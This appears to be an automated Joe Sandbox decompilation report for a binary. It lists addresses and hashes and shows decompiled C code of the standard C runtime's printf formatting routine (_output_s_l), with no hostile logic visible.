0x00000000
0x00000000
0x0043b73b
0x0043b73b
0x0043b73d
0x0043b74b
0x0043b73f
0x0043b73f
0x0043b73f
0x0043b75b
0x0043b768
0x0043b76a
0x0043b76f
0x0043b771
0x0043b776
0x0043b77b
0x0043b77d
0x0043b782
0x0043b788
0x0043b78a
0x0043b78a
0x0043b788
0x0043b78b
0x0043b792
0x00000000
0x0043b794
0x0043b799
0x0043b7b5
0x0043b7bd
0x0043b7ca
0x0043b7cf
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043b792
0x0043b735
0x0043c520
0x0043c527
0x0043c53e
0x0043c532
0x0043c532
0x0043c532
0x0043c548
0x0043c54e
0x0043c55b
0x0043c55d
0x0043c562
0x0043c564
0x0043c569
0x0043c56e
0x0043c570
0x0043c575
0x0043c57b
0x0043c57d
0x0043c57d
0x0043c57b
0x0043c585
0x0043c5d0
0x0043c5d9
0x0043c5de
0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c32a
0x0043c330
0x0043c33a
0x0043c354
0x0043c36e
0x0043c375
0x0043c379
0x0043c379
0x0043c356
0x0043c35b
0x0043c35f
0x0043c35f
0x0043c33c
0x0043c341
0x0043c345
0x0043c345
0x0043c33a
0x0043c389
0x0043c395
0x0043c3ab
0x0043c3b0
0x0043c3b0
0x0043c3c6
0x0043c3cb
0x0043c3d4
0x0043c3f2
0x0043c3f7
0x0043c3f7
0x0043c3fe
0x0043c4b8
0x0043c4cb
0x0043c4d0
0x00000000
0x0043c40e
0x0043c40e
0x0043c411
0x0043c41a
0x0043c420
0x0043c420
0x0043c42f
0x0043c437
0x00000000
0x00000000
0x0043c439
0x0043c43c
0x0043c461
0x0043c466
0x0043c469
0x0043c476
0x0043c484
0x0043c497
0x0043c49c
0x0043c4ab
0x00000000
0x0043c4ab
0x0043c478
0x0043c478
0x00000000
0x0043c478
0x0043c4b6
0x0043c4d3
0x0043c4da
0x0043c4f8
0x0043c4fd
0x0043c4fd
0x00000000
0x0043c4da
0x0043baa7
0x0043baa7
0x0043baae
0x0043bab4
0x0043baba
0x0043babd
0x0043bac3
0x0043bad0
0x0043bad6
0x0043bad6
0x0043badd
0x00000000
0x0043be61
0x0043be61
0x0043be6f
0x0043be72
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x0043baf2
0x0043baf5
0x0043baf5
0x00000000
0x00000000
0x0043bc2a
0x0043bc2d
0x0043bc32
0x0043bc37
0x0043bc3a
0x0043bc3a
0x00000000
0x00000000
0x0043c02d
0x0043c02d
0x00000000
0x00000000
0x0043bb94
0x0043bb94
0x0043bba0
0x0043bbad
0x0043bbbb
0x0043bbbb
0x0043bbc1
0x0043bbc4
0x0043bbd0
0x0043bc25
0x00000000
0x0043bc25
0x0043bbaf
0x0043bbaf
0x0043bbb9
0x0043bbd5
0x0043bbd8
0x0043bbde
0x0043bc06
0x0043bc0d
0x0043bc13
0x0043bc16
0x0043bc19
0x0043bc1f
0x0043bc22
0x0043bbe0
0x0043bbe0
0x0043bbe6
0x0043bbe9
0x0043bbec
0x0043bbf2
0x0043bbf5
0x0043bbf8
0x0043bbfa
0x0043bbfd
0x0043bbfd
0x00000000
0x0043bbde
0x00000000
0x00000000
0x0043be79
0x0043be7c
0x0043be7f
0x0043be82
0x0043be88
0x0043be8b
0x0043be96
0x0043bea1
0x0043bea5
0x0043bebc
0x0043bec3
0x0043bec5
0x0043bec5
0x0043becc
0x0043bed3
0x0043bee1
0x0043bee4
0x0043bef3
0x0043befa
0x0043bf0f
0x0043befc
0x0043befc
0x0043beff
0x0043bf05
0x0043bf0a
0x0043bf0a
0x0043befa
0x0043bf19
0x0043bf1c
0x0043bf1f
0x0043bf22
0x0043bf25
0x0043bf28
0x0043bf2e
0x0043bf34
0x0043bf3c
0x0043bf3d
0x0043bf40
0x0043bf41
0x0043bf44
0x0043bf45
0x0043bf4c
0x0043bf4d
0x0043bf50
0x0043bf51
0x0043bf54
0x0043bf55
0x0043bf5b
0x0043bf5c
0x0043bf6b
0x0043bf6d
0x0043bf73
0x0043bf78
0x0043bf80
0x0043bf88
0x0043bf89
0x0043bf8c
0x0043bf8d
0x0043bf9c
0x0043bf9e
0x0043bf9e
0x0043bfa1
0x0043bfab
0x0043bfb0
0x0043bfb6
0x0043bfb8
0x0043bfc0
0x0043bfc1
0x0043bfc4
0x0043bfc5
0x0043bfd3
0x0043bfd5
0x0043bfd5
0x0043bfb6
0x0043bfd8
0x0043bfdb
0x0043bfe1
0x0043bfe6
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043bff4
0x0043bff7
0x0043c003
0x00000000
0x0043c003
0x0043bea7
0x0043bea7
0x0043beb1
0x00000000
0x00000000
0x0043beb3
0x0043beb3
0x00000000
0x0043beb3
0x0043be98
0x0043be98
0x00000000
0x00000000
0x0043baf8
0x0043baf8
0x0043bb03
0x0043bb0b
0x0043bb12
0x0043bb15
0x0043bb18
0x0043bb78
0x0043bb1a
0x0043bb21
0x0043bb27
0x0043bb2d
0x0043bb34
0x0043bb37
0x0043bb3d
0x0043bb45
0x0043bb47
0x0043bb4e
0x0043bb55
0x0043bb66
0x0043bb68
0x0043bb68
0x0043bb6f
0x0043bb7f
0x0043bb85
0x0043bb88
0x00000000
0x00000000
0x0043c00b
0x0043c00e
0x0043c011
0x0043c014
0x00000000
0x00000000
0x0043bd6a
0x0043bd6a
0x0043bd76
0x0043bd83
0x0043be2d
0x0043be2d
0x0043be30
0x0043be33
0x0043be47
0x0043be4d
0x0043be53
0x0043be35
0x0043be35
0x0043be3b
0x0043be42
0x0043be42
0x0043be55
0x00000000
0x0043be55
0x0043bd89
0x0043bd89
0x0043bd8b
0x0043bd99
0x0043bd8d
0x0043bd8d
0x0043bd8d
0x0043bda3
0x0043bda9
0x0043bdb6
0x0043bdb8
0x0043bdbd
0x0043bdbf
0x0043bdc4
0x0043bdc9
0x0043bdcb
0x0043bdd0
0x0043bdd6
0x0043bdd8
0x0043bdd8
0x0043bdd6
0x0043bde0
0x0043be28
0x00000000
0x0043bde2
0x0043bde2
0x0043bde7
0x0043be03
0x0043be0b
0x0043be15
0x0043be18
0x0043be1d
0x00000000
0x0043be1d
0x00000000
0x0043c074
0x0043c074
0x0043c07e
0x0043c084
0x0043c089
0x0043c08f
0x0043c08f
0x00000000
0x00000000
0x0043c026
0x0043c026
0x00000000
0x00000000
0x0043bc3d
0x0043bc41
0x0043bc4f
0x0043bc52
0x0043bc43
0x0043bc43
0x0043bc43
0x0043bc58
0x0043bc5e
0x0043bc64
0x0043bc70
0x0043bc76
0x0043bc79
0x0043bd01
0x0043bd05
0x0043bd07
0x0043bd0d
0x0043bd0d
0x0043bd10
0x0043bd17
0x0043bd1a
0x0043bd20
0x0043bd20
0x0043bd20
0x0043bd26
0x0043bd2c
0x0043bd2f
0x0043bd37
0x00000000
0x00000000
0x0043bd39
0x0043bd39
0x0043bd3f
0x0043bd44
0x00000000
0x00000000
0x0043bd46
0x0043bd4c
0x0043bd4f
0x0043bd4f
0x0043bd57
0x0043bd5d
0x0043bd60
0x0043bd62
0x00000000
0x0043bc7f
0x0043bc7f
0x0043bc83
0x0043bc85
0x0043bc8a
0x0043bc8a
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bca8
0x0043bca8
0x0043bca8
0x0043bcb1
0x00000000
0x00000000
0x0043bcb3
0x0043bcb3
0x0043bcb9
0x0043bcbe
0x00000000
0x00000000
0x0043bcc0
0x0043bcc0
0x0043bcc9
0x0043bccf
0x0043bcdd
0x0043bce5
0x0043bce8
0x0043bce8
0x0043bcf4
0x0043bcf7
0x0043bca2
0x0043bca5
0x0043bca5
0x0043bcff
0x0043bd65
0x00000000
0x0043bd65
0x00000000
0x00000000
0x00000000
0x0043c039
0x0043c039
0x0043c043
0x0043c043
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043badd
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c320
0x0043c177
0x0043c16e
0x0043c092
0x0043c092
0x0043c092

APIs

_get_int64_arg.LIBCMTD ref: 0043C0A0
_get_int64_arg.LIBCMTD ref: 0043C0C8
__aullrem.LIBCMT ref: 0043C270
__aulldiv.LIBCMT ref: 0043C292

Strings

9, xrefs: 0043C2A3

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction ID: e6210bf858084a96ecd1bb60168b105edbccad99a0af5c732967395bfc086778
Opcode Fuzzy Hash: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction Fuzzy Hash: B64106B1E001299FDF24CF98C981B9EB7B4BB89314F1051DAD248B7241C7785E81DF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00434D7B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434D7B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E00428150(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E00428150(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E00428150(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E00428150(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428170(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428170(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430570(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E004305F0( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C1C0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435350))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E00431000( *(_t699 - 0x251) & 0x000000ff, E0041AAD0(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00427FE0( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00427FE0( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E000();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422AF0(_t614))) = 0x16;
																									E00422880(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041AAA0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435388; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435370))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x4353b0; // 0x4bbe9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043539C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E000();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422AF0(_t616))) = 0x16;
																						E00422880(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041AAA0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BAA0(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E000();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041AAA0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422AF0(_t603))) = 0x16;
																				E00422880(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041AAA0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
